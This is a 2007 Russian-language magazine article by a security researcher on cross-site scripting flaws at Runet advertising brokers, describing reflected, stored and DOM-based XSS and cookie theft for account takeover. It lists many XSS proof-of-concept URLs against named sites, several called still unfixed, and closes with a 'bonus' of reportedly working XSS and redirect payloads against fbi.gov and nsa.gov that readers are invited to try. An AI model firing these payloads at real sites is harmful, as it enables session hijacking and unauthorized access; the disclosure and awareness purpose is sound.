Подводные камни в интернет рекламе или чем опасен XSS

English Ukrainian

Статья для журнала Хакер Спец №75 (февраль 2007)

В Рунете существует множество сайтов. И многие вебмастера этих сайтов задумывались о заработке за счёт размещения рекламы на своих сайтах. И подобные сервисы существуют в Рунете, позволяющие заработать на рекламе, причём их немало и их число постоянно растёт.

Речь идёт об рекламных брокерах (рекламных интернет брокеров). Это одна из очень динамичных категорий в рекламном секторе Рунета (помимо Баннерных Сетей, рекламных агентств и частных рекламных договоренностей), и в данной статье я упомяну нескольких представитель из числа рекламных брокеров. Которые представляют услуги для вебмастеров (для заработка на рекламе на своих сайтах) и рекламодателей (для размещения рекламы на различных сайтах).

Среди рекламных форматов поддерживаемых рекламными брокерами можно выделить: баннерная реклама (различных размеров, форматы gif, jpg), флеш реклама (swf), текстовая, суточная (прямые текстовые ссылки), месячная (разновидность суточной). В первых трёх оплата за клики и показы, в последних двух - за сутки и за месяц соответственно. А также имеется ещё контекстная реклама, которую представляют отдельные брокеры (которые занимаются исключительно контекстной рекламой).

В статье упомянуты брокеры с которыми я работаю - или в качестве партнёра, или в качестве рекламодателя (или в обоих ролях одновременно). Каждый брокер имеет свои особенности и свои хорошие черты. И предлагает различные услуги для вебмастеров и рекламодателей. В любом случае каждый брокер хорош по своему, раз я их упомянул в своей статье.

Интернет реклама предполагает денежные потоки. И каждый из рекламных брокер в Рунете оперирует денежными суммами (в том числе в интернет валюте - в тех же WebMoney или Яндекс-Деньги). Через них ежедневно проходят денежные потоки - от рекламодателей к партнёрам (за услуги) и от рекламодателей к брокеру (за услуги). Поэтому в системе постоянно курсируют деньги, и в зависимости от брокера, это могут быть солидные суммы.

Подобная ситуация может привлечь к рекламным брокерам внимание злоумышленников. Поэтому вопросам безопасности следует уделять особое внимание. Чему сейчас я и уделю внимание - проанализировав ситуацию на рынке рекламных брокеров Рунета. В данном случае в контексте безопасности и в частности Cross-Site Scripting уязвимостей.

Нападение на пользователя рекламного брокера с помощью XSS
Рис.1 - Нападение на пользователя рекламного брокера с помощью XSS

Для рекламных брокеров с которыми я работаю проблема XSS довольно актуальна. С одной стороны подобные уязвимости имеют место, и у некоторых брокеров в больших количествах (что говорит о том, что данной проблеме не уделяли внимания), с другой стороны имеют место вообще проблемы безопасности, т.к. различных уязвимостей я нахожу немало (в различных брокерах), и не только XSS, но и SQL-инъекции и другие уязвимости (о чём сообщал и буду в дальнейшем сообщать брокерам).

Поэтому вопросам безопасности нужно уделять повышенное внимание. Особенно в свете того, что продолжается рост доходов, как участников так и самих брокеров, и это ещё больше привлекает злоумышленников. Поэтому риски растут с каждым днём. И я рад, что хоть после упоминания мною об уязвимостях, брокеры стали шевелиться и уделять больше внимание безопасности (с моей помощью), кто больше, кто меньше. И в целом, ситуация улучшается. Но всё же брокерам нужно больше следить за безопасностью, особенно в отношении XSS, т.к. уязвимостям данного рода, пока уделяется недостаточно внимания - и совершенно напрасно. Потому что данные вид уязвимостей представляет серьёзную опасность для брокеров и их участников.

Виды XSS атак

Cross-Site Scripting уязвимости представляют собой уязвимости в программном обеспечении для интернет (веб приложения и веб системы), т.е. уязвимости на сайтах, которые могут привести к выполнении заданного нападающим кода в контексте браузера пользователя (атакованного злоумышленником).

Cross-Site Scripting [1] (также CSS и XSS) - это уязвимость в веб приложениях, когда некорректно работают фильтры входящей информации, которая не проверяется должным образом перед тем как вернуть результат пользователю (причём все или часть входных данных присутствуют в ответе приложения). Что и приводит к атаке на пользователя, например с помощью Java Script кода (возможна и VB Script атака). Это и называется XSS, который является частным случаем html-инъекции.

Среди возможных атак на пользователей рекламных брокеров с применением XSS можно выделить следующие: пассивный XSS, активный XSS и XSS в DOM [2] (последний также нередко встречается и может принести немало хлопот [3]). Каждый из которых имеет свои особенности и позволяет злоумышленнику провести атаку на участника системы рекламного брокера с целью захвата аккаунта.

Пассивный XSS

Нападение с использованием пассивной XSS уязвимости
Рис.2 - Нападение с использованием пассивной XSS уязвимости

Данный вид уязвимостей - пассивные XSS - это самая распространённый вид XSS.

Используя подобную уязвимость на странице рекламного брокера, злоумышленник может атаковать участника системы. Для успешной атаки, участник должен быть загруженным в систему (т.е. должен произвести логин в систему, чтобы в его кукисах сохранилась информация о его авторизации в системе). После этого злоумышленник, подготовив соответствующий рабочий XSS код, который указывает на уязвимую страницу, должен заманить на данную страницу пользователя системы.

Это возможно как путём сообщения жертве (через какие-либо каналы связи) ссылки на данную страницу - на подготовленный URL - и мотивирования пользователю необходимости зайти на эту страницу, или же размещения ссылки на каком-то сайте (чтобы пользователь на неё кликнул), при этом можно спрятать истинный адрес, чтобы пользователь ничего не заподозрил. Или же размещение на подконтрольном сайте (на подконтрольной злоумышленнику странице) кода вызова данной уязвимой страницы - путём указания тегов iframe, frame или img. С дальнейшим заманиванием жертвы на эту страницу. После того как жертва ничего не подозревая попадёт в ловушку, сработает злоумышленный код и нападающий получит кукис жертвы - с авторизационной информацией. При этом жертва даже ничего и не заметит.

После получения конфиденциальных данных с кукисами участника системы, злоумышленник может использовать их для входа в систему рекламного брокера от имени участника с последующим захватом аккаунта (полного или временного). С последующим нанесением ущерба участнику и самому брокеру.

Активный XSS

Нападение с использованием активной XSS уязвимости
Рис.3 - Нападение с использованием активной XSS уязвимости

Данный вид уязвимостей - активные XSS - более редкий и менее распространённый вид XSS. И данные уязвимости более опасны, т.к. могут нанести больший вред, большему количеству участников и процесс атаки более упрощён по сравнению с пассивными XSS.

Злоумышленник использовав активную XSS уязвимость, заносит приготовленный злоумышленный XSS код в систему. Заносит её он в Базу Данных системы рекламного брокера, т.е. злоумышленный код сохраняется в системе. И далее злоумышленнику не нужно морочить голову с заманиванием жертвы в ловушку - на страницу с XSS уязвимостью. В случае же активной XSS, жертва сама попадает в ловушку, лишь зайдя в аккаунт системы и посетив ту страницу, где отображаются данные из БД (в том числе и код злоумышленника). И тем самым жертва самостоятельно отдаёт свои кукисы жертве, ничего не заметив, что попала в ловушку.

Получив конфиденциальных данных с кукисами участника системы, злоумышленник, как и в первом случае, может использовать их для входа в систему рекламного брокера от имени участника с последующим захватом аккаунта.

XSS в DOM

Нападение с использованием уязвимости XSS в DOM
Рис.4 - Нападение с использованием уязвимости XSS в DOM

И третья разновидность XSS уязвимостей - XSS в DOM (DOM Based XSS) - это отдельный и весьма опасный вид уязвимостей межсайтового скриптинга (в случае которого стандартные фильтры против классических XSS не помогут).

Методика атаки подобна методике в случае пассивного XSS. Точно также злоумышленник подготавливает злонамеренный код для уязвимой страницы и заманивает в ловушку пользователя системы. После чего получает его кукис и контроль над его аккаунтом.

Принципиальная разница лишь в особенностях работы XSS в DOM. Когда фильтры направленные на классические XSS не помогут (фильтрация угловых скобок не спасёт), и заданный код выполниться на уязвимой странице.

Подобные уязвимости могут встречаться как в коде систем рекламных брокеров (и на любых других сайтах), так и в коде партнёрского кода систем контекстной рекламы, который располагается на сайтах партнёрах. Что может привести к появлению уязвимостей на сайтах партнёров, которые участвуют в данном рекламном брокере.

Из-за того, что в рекламных брокерах проходят денежные потоки - они представляют собой лакомый кусок для злоумышленников. И брокерам и их клиентам нужно серьёзно следить за безопасностью работы в своих системах. В том числе опасность представляют XSS уязвимости, которые могут быть использованы с целью захвата учётной записи пользователя. Это может сделано с целью получения конфиденциальной информации, оставляемой пользователями в своих аккаунтах в брокерских системах, но гораздо большую ценность представляют денежные суммы накопленные в брокерах. Которые могут быть похищены злоумышленниками, в случае захвата пользовательского аккаунта.

В Рунете есть множество рекламных брокеров. Приведу примеры некоторых брокеров, из числа тех с которыми я работаю, на сайтах которых я нашёл уязвимости. Приведённые примеры содержат XSS уязвимости о которых я уже сообщил брокерам, и которые уже исправлены (поэтому XSS нерабочие). Это сделано в целях безопасности самих брокеров и участников их систем - чтобы не подвергать никого риску. Но без примеров рабочих XSS уязвимостей не обойдётся (т.к. не все из указанных брокеров отреагировали на мои обращения о наличии уязвимостей на их сайтах), поэтому вам будет на что посмотреть, и проверить работоспособность некоторых уязвимостей.

Брокер CLX
http://clx.ru

Рекламный брокер с различными типами рекламных партнёрских программ.

В данном брокере доводилось сталкиваться с различными уязвимостями, в том числе и с XSS. Но в связи с тем, что я лишь сообщил админам предварительно о наличии XSS уязвимости (позже я нашёл ещё ряд XSS), когда сообщал им о ряду других уязвимостей, но так и не сообщил деталей об XSS (занятый я человек), то никаких примеров конкретных уязвимостей для CLX приведено не будет. В целях безопасности.

Замечу относительно данного брокера, что его администраторы уделяют внимание безопасности. Как раз через некоторое время после того как я нашёл первую XSS на clx.ru, они усовершенствовали систему логина, введя дополнительные опции (по ограничению времени сессии и привязки сессии к IP). Что увеличило безопасность системы, в том числе и относительно XSS. Хотя это не спасает полностью от данных уязвимостей, и всё равно нужно исправлять все уязвимости.

Брокер Просперо
http://www.prospero.ru

Рекламный брокер с различными типами рекламных партнёрских программ.

В данном брокере я серьёзно занимался вопросами безопасности, и неоднократно находил и сообщал об уязвимостях в системе (а также о различных багах в системе, с целью её дальнейшего улучшения, даже открыл специальную тему на форуме - журналы BugsWeek на форумах Просперо и Проконтекста [4]). И администраторы, молодцы, оперативно реагировали и исправляли указанные уязвимости.

Среди найденных уязвимостей приведу одну XSS на форуме брокера (о чём далее).

Замечу относительно данного брокера, что после нескольких моих замечаний относительно уязвимостей (в том числе XSS), его администраторы серьёзно повысили безопасность системы. Также как это сделали CLX, администраторы Просперо усовершенствовали систему логина, введя дополнительные ограничения (было ограничено время сессии и сделана привязка сессии к IP). Что увеличило безопасность системы, в том числе и относительно XSS. Хотя, как я уже говорил, это не спасает полностью от данных уязвимостей, и всё равно нужно исправлять все уязвимости.

Брокер Проконтекст
http://procontext.ru/

Рекламный брокер работающий контекстную рекламу. Это отдельный проект Просперо - ранее контекстная реклама была доступна в самом Просперо, но позже была выделена в отдельный проект.

Среди найденных уязвимостей приведу одну XSS на форуме брокера (о чём далее).

Брокер Сеопоинт
http://seopoint.ru

Рекламный брокер с оплатой за сутки. Это отдельный проект Просперо. К сожалению сейчас проект закрыт.

Среди найденных уязвимостей приведу одну XSS на форуме брокера.

Данная XSS уязвимость имела место на форумах всех трёх брокеров - prospero.ru, procontext.ru и seopoint.ru. Это связано с тем, что форумный движок используется один и тот же на всех трёх брокерах.

Уязвимость была в параметре search_words в поиске по форуму:

http://www.prospero.ru/forum_search?search=1&search_words=%27%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E

http://procontext.ru/forum_search?search=1&search_words=%27%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E

http://seopoint.ru/forum_search?search=1&search_words=%27%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E

Данная уязвимость уже исправлена во всех трёх брокерах.

Брокер Mainlink.ru [5]
http://mainlink.ru

Рекламный брокер с оплатой за месяц (разновидность оплаты за сутки).

Пример эксплуатации:

http://mainlink.ru/find/?what=%3Cscript%3Ealert(document.cookie)%3C/script%3E

Данная уязвимость уже исправлена.

Брокер Setlinks.ru [6]
http://www.setlinks.ru

Рекламный брокер с оплатой за сутки.

Пример эксплуатации:

На странице http://www.setlinks.ru/partner/editpage.html?id=xxxx при отправке POST запроса (в полях “Разделитель” и “Класс ссылок”):

"><script>alert(document.cookie)</script>

Данная уязвимость уже исправлена.

Брокер Аdbroker.ru [7]
http://adbroker.ru

Рекламный брокер с оплатой за сутки.

Примеры эксплуатации:

http://adbroker.ru/user_partner.php?action=adv_queries&uarq_order=4%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://adbroker.ru/get_code.php?scid=2484&lid=1&css_class=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

Данные уязвимости уже исправлены.

Брокер Аffiliatenetwork [8]
http://www.affiliatenetwork.ru

Рекламный брокер с различными типами рекламных партнёрских программ.

Пример эксплуатации:

http://www.affiliatenetwork.ru/affiliates_new/viewpaid.php?kol_zap_str=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

Данная уязвимость уже исправлена.

Брокер Link.ru [9]
http://www.link.ru

Рекламный брокер с оплатой за клики.

Уязвимости обнаружены на всех основных страницах сайта. К сожалению администраторы link.ru так и не прореагировали на моё сообщение об уязвимостях в системе, поэтому привожу рабочие XSS-уязвимости (которые уже опубликовал у себя на сайте). Так сказать full disclosure.

Примеры эксплуатации:

http://www.link.ru/?sid=%27%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://www.link.ru/adv.cgi?sid=%27%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://www.link.ru/reklama.cgi?sid=%27%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://www.link.ru/siteowner.cgi?sid=%27%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://www.link.ru/contact.cgi?sid=%27%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://www.link.ru/stats.cgi?sid=%27%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://www.link.ru/faq.cgi?sid=%27%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://www.link.ru/?sid=%27%3E%3Cscript%3Edocument.location%3D'http://websecurity.com.ua'%3C/script%3E

Уязвимости до сих пор не исправлены.

МетаКонтекст [10]
http://context.meta.ua

Система контекстной рекламы в поисковой системе Мета.

Среди различных XSS уязвимостей найденных мною в интерфейсе данной системы, выделю следующую:

http://context.meta.ua/?mode=phrase&phrase=%3Cscript%3Ealert(document.cookie)%3C/script%3E

Данная уязвимость уже исправлена.

Уязвимости в системах контекстной рекламы

Я уже упоминал об XSS уязвимостях в системах контекстной рекламы - в интерфейсах procontext.ru и context.meta.ua. Помимо данных случаев атак через уязвимости в интерфейсах самих систем, возможны атаки на сайты участников данных систем, через уязвимости в партнёрском коде. Это возможно, если системы предлагают размещать партнёрский код (имеется много подобных систем контекстной рекламы), и особенно в случае интеграции рекламы в локальный поиск на сайте. Речь идёт об XSS уязвимостях в кодах систем Яндекс-Директ и Бегун.

Уязвимость в коде Бегуна [11]

Данная уязвимость была мною найдена на сайте Рамблера - и уязвимость оказалась в контекстном коде Бегуна.

Эта уязвимость относится к типу XSS в DOM. И она может быть использована против всех посетителей сайта. Помимо уязвимости в коде Бегуна на сайте rambler.ru, возможны и другие случаи подобных уязвимостей на сайтах других участников данной системы контекстной рекламы.

Пример эксплуатации:

http://www.rambler.ru/srch?words=%D2%E5%F1%F2%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

Уязвимость уже была исправлена администраторами Рамблера.

Уязвимости в Яндекс-Директ [12]

Существует уязвимость в коде контекстной рекламы Яндекс-Директ. Данную уязвимость я нашёл, когда обнаружил уязвимости на сайте itnews.com.ua [13]. Это XSS уязвимость, причём на данном сайте я обнаружил как собственную XSS уязвимость, так и уязвимость в коде Директа.

Эта уязвимость относится к типу XSS в DOM. И она может быть использована против всех посетителей сайта. Помимо уязвимости в коде Яндекс-Директ на сайте itnews.com.ua, возможны и другие случаи подобных уязвимостей на сайтах других участников данной системы контекстной рекламы.

Примеры эксплуатации:

http://itnews.com.ua/s.cgi?page=2′%3Balert(document.cookie)%3Ba=’&q=%F2%E5%F1%F2

http://itnews.com.ua/s.cgi?page=2'%3Bdocument.location%3D'http://websecurity.com.ua'%3Ba='&q=%F2%E5%F1%F2

Данные уязвимости на сайте, как в своём коде, так и в контекстном коде Яндекс-Директ уже были исправлены администраторами сайта.

Заключение

Для всех упомянутых интернет рекламных брокеров вопросы безопасности должны быть одним из главных приоритетов. В том числе следует уделять внимание безопасности в контексте Cross-Site Scripting уязвимостей. Чтобы повысить уровень безопасности работы своих систем.

К сожалению на данный момент ситуация относительно XSS на сайтах брокеров складывается не лучшим образом. Но всё же администраторы систем работают над исправлением XSS уязвимостей и улучшением общего уровня безопасности в своих системах. А также для улучшением уровня брокерских услуг. Так что ситуация постоянно улучшается (с каждой исправленной XSS дырой). И участники рекламных брокеров - вебмастера и рекламодатели, могут более спокойнее и безопасней работать и заниматься своей основной деятельностью. Будучи уверенными в безопасности своих интернет денег. И обеспечение этой безопасности должно быть главной задачей рекламных брокеров. А для этого нужно уделять повышенное внимание безопасности собственных сайтов.

Безопасность спецслужб

В качестве бонуса для читателей журнала, предлагаю уязвимости на сайтах американских спецслужб. Только сильно не увлекайтесь ;-) , не нужно сориться со спецслужбами.

Силовым структурам США, которые в том числе заниматься вопросами безопасности, нужно больше следить за безопасностью собственных веб сайтов. В частности речь идёт о сайтах ФБР (FBI) и Агентства Национальной Безопасности США (NSA).

XSS на www.fbi.gov [14]

alert(’XSS’)
http://www.fbi.gov/cgi-bin/outside.cgi?javascript:alert(’XSS’)

alert(document.cookie)
http://www.fbi.gov/cgi-bin/outside.cgi?javascript:alert(document.cookie)

редиректор
http://www.fbi.gov/cgi-bin/outside.cgi?http://websecurity.com.ua

XSS на www.nsa.gov [15]

alert(”XSS”) (только IE)
http://www.nsa.gov/snac/downloads_db.cfm?MenuID=%22%3E%3Cimg%20src=javascript:alert(%22XSS%22)%3E

alert(document.cookie) (только IE)
http://www.nsa.gov/snac/downloads_db.cfm?MenuID=%22%3E%3Cimg%20src=javascript:alert(document.cookie)%3E

редиректор
http://www.nsa.gov/snac/downloads_db.cfm?MenuID=%22%3E%3Cimg%20src=javascript:document.location=%22http://websecurity.com.ua%22%3E

Администраторам сайтов FBI и NSA нужно больше следить за безопасностью. И пофиксить эти уязвимости. А пока они этого не сделали, и эти XSS работают, можете с ними ознакомиться.

Ссылки

1. Cross-site scripting
http://en.wikipedia.org/wiki/Cross_site_scripting
2. Третий тип XSS: Межсайтовый скриптинг через DOM
http://www.securitylab.ru/analytics/275087.php
3. Хакинг сайта через уязвимости в коде внешних систем
http://websecurity.com.ua/127/
4. Журналы BugsWeek
http://websecurity.com.ua/9/
5. Уязвимость на mainlink.ru
http://websecurity.com.ua/90/
6. Уязвимость на www.setlinks.ru
http://websecurity.com.ua/109/
7. Уязвимость на adbroker.ru
http://websecurity.com.ua/137/
8. Уязвимость на www.affiliatenetwork.ru
http://websecurity.com.ua/250/
9. Уязвимость на www.link.ru
http://websecurity.com.ua/323/
10. Уязвимость на context.meta.ua
http://websecurity.com.ua/260/
11. Новая уязвимость на Рамблере
http://websecurity.com.ua/17/
12. Уязвимости в Yandex-Direct
http://websecurity.com.ua/398/
13. Уязвимости на itnews.com.ua
http://websecurity.com.ua/397/
14. Уязвимость на www.fbi.gov
http://websecurity.com.ua/416/
15. Cross-Site Scripting уязвимость на www.nsa.gov
http://websecurity.com.ua/118/